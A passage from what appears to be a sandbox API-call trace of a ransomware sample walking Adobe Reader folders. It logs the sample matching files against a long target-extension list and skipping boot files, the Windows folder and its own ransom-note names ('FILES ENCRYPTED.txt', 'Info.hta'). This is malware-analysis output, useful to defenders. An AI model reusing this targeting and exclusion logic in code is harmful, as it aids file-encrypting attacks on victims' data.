(lpString1=".cpp", lpString2="s.js") returned -1 [0271.845] lstrlenW (lpString=".cr2") returned 4 [0271.845] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".crt") returned 4 [0271.846] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".crw") returned 4 [0271.846] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".cs") returned 3 [0271.846] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.846] lstrlenW (lpString=".css") returned 4 [0271.846] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".csv") returned 4 [0271.846] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".cub") returned 4 [0271.846] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".dae") returned 4 [0271.846] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".dat") returned 4 [0271.846] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.846] lstrlenW (lpString=".db") returned 3 [0271.846] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.846] lstrlenW (lpString=".dbf") returned 4 [0271.847] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dbx") returned 4 [0271.847] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dc3") returned 4 [0271.847] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dcm") returned 4 [0271.847] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dcr") returned 4 [0271.847] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".der") returned 4 [0271.847] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dib") returned 4 [0271.847] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dic") returned 4 [0271.847] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".dif") returned 4 [0271.847] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".divx") returned 5 [0271.847] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.847] lstrlenW (lpString=".djvu") returned 5 [0271.847] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.847] lstrlenW (lpString=".dng") returned 4 [0271.847] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".doc") returned 4 [0271.847] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.847] lstrlenW (lpString=".docm") returned 5 [0271.848] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.848] lstrlenW (lpString=".docx") returned 5 [0271.848] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.848] lstrlenW (lpString=".dot") returned 4 [0271.848] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dotm") returned 5 [0271.848] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.848] lstrlenW (lpString=".dotx") returned 5 [0271.848] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.848] lstrlenW (lpString=".dpx") returned 4 [0271.848] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dqy") returned 4 [0271.848] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dsn") returned 4 [0271.848] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dt") returned 3 [0271.848] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.848] lstrlenW (lpString=".dtd") returned 4 [0271.848] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dwg") returned 4 [0271.848] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dwt") returned 4 [0271.848] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.848] lstrlenW (lpString=".dx") returned 3 [0271.848] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.848] lstrlenW (lpString=".dxf") returned 4 [0271.848] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".edml") returned 5 [0271.849] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.849] lstrlenW (lpString=".efd") returned 4 [0271.849] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".elf") returned 4 [0271.849] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".emf") returned 4 [0271.849] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".emz") returned 4 [0271.849] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".epf") returned 4 [0271.849] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".eps") returned 4 [0271.849] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".epsf") returned 5 [0271.849] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0271.849] lstrlenW (lpString=".epsp") returned 5 [0271.849] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0271.849] lstrlenW (lpString=".erf") returned 4 [0271.849] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".exr") returned 4 [0271.849] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".f4v") returned 4 [0271.849] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0271.849] lstrlenW (lpString=".fido") returned 5 [0271.849] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0271.849] lstrlenW (lpString=".flm") returned 4 [0271.850] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".flv") returned 4 [0271.850] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".frm") returned 4 [0271.850] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".fxg") returned 4 [0271.850] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".geo") returned 4 [0271.850] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".gif") returned 4 [0271.850] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".grs") returned 4 [0271.850] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".gz") returned 3 [0271.850] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0271.850] lstrlenW (lpString=".h") returned 2 [0271.850] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0271.850] lstrlenW (lpString=".hdr") returned 4 [0271.850] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".hpp") returned 4 [0271.850] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0271.850] lstrlenW (lpString=".hta") returned 4 [0271.850] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".htc") returned 4 [0271.851] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".htm") returned 4 [0271.851] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".html") returned 5 [0271.851] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0271.851] lstrlenW (lpString=".icb") returned 4 [0271.851] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".ics") returned 4 [0271.851] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".iff") returned 4 [0271.851] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".inc") returned 4 [0271.851] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".indd") returned 5 [0271.851] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0271.851] lstrlenW (lpString=".ini") returned 4 [0271.851] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".iqy") returned 4 [0271.851] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".j2c") returned 4 [0271.851] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".j2k") returned 4 [0271.851] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0271.851] lstrlenW (lpString=".java") returned 5 [0271.852] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0271.852] lstrlenW (lpString=".jp2") returned 4 [0271.852] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0271.852] lstrlenW (lpString=".jpc") returned 4 [0271.852] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0271.852] lstrlenW (lpString=".jpe") returned 4 [0271.852] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0271.852] lstrlenW (lpString=".jpeg") returned 5 [0271.852] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0271.852] lstrlenW (lpString=".jpf") returned 4 [0271.852] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0271.852] lstrlenW (lpString=".jpg") returned 4 [0271.852] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0271.852] lstrlenW (lpString=".jpx") returned 4 [0271.852] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0271.852] lstrlenW (lpString=".js") returned 3 [0271.852] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0271.852] lstrlenW (lpString="ui-strings.js") returned 13 [0271.852] lstrlenW (lpString=".love$") returned 6 [0271.912] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0271.912] lstrlenW (lpString="ui-strings.js") returned 13 [0271.912] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0271.912] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0271.912] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0271.912] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0271.913] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0271.913] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0271.913] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0271.913] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0271.913] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js") returned 133 [0271.913] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0271.913] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0271.913] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.913] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0271.913] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae") returned 119 [0271.913] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae") returned 1 [0271.914] lstrlenW (lpString="en-ae") returned 5 [0271.914] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-ae") returned -1 [0271.914] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.914] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae") returned 119 [0271.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0271.914] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.914] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.914] lstrlenW (lpString="ui-strings.js") returned 13 [0271.914] lstrlenW (lpString=".1cd") returned 4 [0271.914] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.914] lstrlenW (lpString=".3ds") returned 4 [0271.914] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.914] lstrlenW (lpString=".3fr") returned 4 [0271.914] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.914] lstrlenW (lpString=".3g2") returned 4 [0271.914] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.915] lstrlenW (lpString=".3gp") returned 4 [0271.915] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.915] lstrlenW (lpString=".7z") returned 3 [0271.915] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.915] lstrlenW (lpString=".accda") returned 6 [0271.915] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.915] lstrlenW (lpString=".accdb") returned 6 [0271.915] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.915] lstrlenW (lpString=".accdc") returned 6 [0271.915] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.915] lstrlenW (lpString=".accde") returned 6 [0271.915] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.915] lstrlenW (lpString=".accdt") returned 6 [0271.915] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.915] lstrlenW (lpString=".accdw") returned 6 [0271.915] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.915] lstrlenW (lpString=".adb") returned 4 [0271.915] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.915] lstrlenW (lpString=".adp") returned 4 [0271.915] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.915] lstrlenW (lpString=".ai") returned 3 [0271.915] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.915] lstrlenW (lpString=".ai3") returned 4 [0271.916] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".ai4") returned 4 [0271.916] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".ai5") returned 4 [0271.916] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".ai6") returned 4 [0271.916] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".ai7") returned 4 [0271.916] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".ai8") returned 4 [0271.916] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".anim") returned 5 [0271.916] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.916] lstrlenW (lpString=".arw") returned 4 [0271.916] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".as") returned 3 [0271.916] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.916] lstrlenW (lpString=".asa") returned 4 [0271.916] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".asc") returned 4 [0271.916] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".ascx") returned 5 [0271.916] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.916] lstrlenW (lpString=".asm") returned 4 [0271.916] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.916] lstrlenW (lpString=".asmx") returned 5 [0271.916] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.916] lstrlenW (lpString=".asp") returned 4 [0271.916] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".aspx") returned 5 [0271.917] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.917] lstrlenW (lpString=".asr") returned 4 [0271.917] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".asx") returned 4 [0271.917] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".avi") returned 4 [0271.917] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".avs") returned 4 [0271.917] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".backup") returned 7 [0271.917] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.917] lstrlenW (lpString=".bak") returned 4 [0271.917] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".bay") returned 4 [0271.917] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".bd") returned 3 [0271.917] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.917] lstrlenW (lpString=".bin") returned 4 [0271.917] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".bmp") returned 4 [0271.917] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".bz2") returned 4 [0271.917] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.917] lstrlenW (lpString=".c") returned 2 [0271.917] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.917] lstrlenW (lpString=".cdr") returned 4 [0271.917] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".cer") returned 4 [0271.918] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".cf") returned 3 [0271.918] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.918] lstrlenW (lpString=".cfc") returned 4 [0271.918] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".cfm") returned 4 [0271.918] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".cfml") returned 5 [0271.918] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.918] lstrlenW (lpString=".cfu") returned 4 [0271.918] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".chm") returned 4 [0271.918] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".cin") returned 4 [0271.918] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".class") returned 6 [0271.918] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.918] lstrlenW (lpString=".clx") returned 4 [0271.918] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".config") returned 7 [0271.918] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.918] lstrlenW (lpString=".cpp") returned 4 [0271.918] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".cr2") returned 4 [0271.918] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.918] lstrlenW (lpString=".crt") returned 4 [0271.919] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".crw") returned 4 [0271.919] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".cs") returned 3 [0271.919] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.919] lstrlenW (lpString=".css") returned 4 [0271.919] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".csv") returned 4 [0271.919] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".cub") returned 4 [0271.919] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".dae") returned 4 [0271.919] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".dat") returned 4 [0271.919] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".db") returned 3 [0271.919] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.919] lstrlenW (lpString=".dbf") returned 4 [0271.919] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".dbx") returned 4 [0271.919] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".dc3") returned 4 [0271.919] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".dcm") returned 4 [0271.919] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".dcr") returned 4 [0271.919] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.919] lstrlenW (lpString=".der") returned 4 [0271.920] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".dib") returned 4 [0271.920] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".dic") returned 4 [0271.920] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".dif") returned 4 [0271.920] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".divx") returned 5 [0271.920] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.920] lstrlenW (lpString=".djvu") returned 5 [0271.920] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.920] lstrlenW (lpString=".dng") returned 4 [0271.920] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".doc") returned 4 [0271.920] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".docm") returned 5 [0271.920] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.920] lstrlenW (lpString=".docx") returned 5 [0271.920] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.920] lstrlenW (lpString=".dot") returned 4 [0271.920] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".dotm") returned 5 [0271.920] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.920] lstrlenW (lpString=".dotx") returned 5 [0271.920] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.920] lstrlenW (lpString=".dpx") returned 4 [0271.920] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.920] lstrlenW (lpString=".dqy") returned 4 [0271.921] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".dsn") returned 4 [0271.921] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".dt") returned 3 [0271.921] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.921] lstrlenW (lpString=".dtd") returned 4 [0271.921] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".dwg") returned 4 [0271.921] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".dwt") returned 4 [0271.921] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".dx") returned 3 [0271.921] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0271.921] lstrlenW (lpString=".dxf") returned 4 [0271.921] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".edml") returned 5 [0271.921] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0271.921] lstrlenW (lpString=".efd") returned 4 [0271.921] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".elf") returned 4 [0271.921] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".emf") returned 4 [0271.921] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".emz") returned 4 [0271.921] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".epf") returned 4 [0271.921] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0271.921] lstrlenW (lpString=".eps") returned 4 [0271.922] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0271.922] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 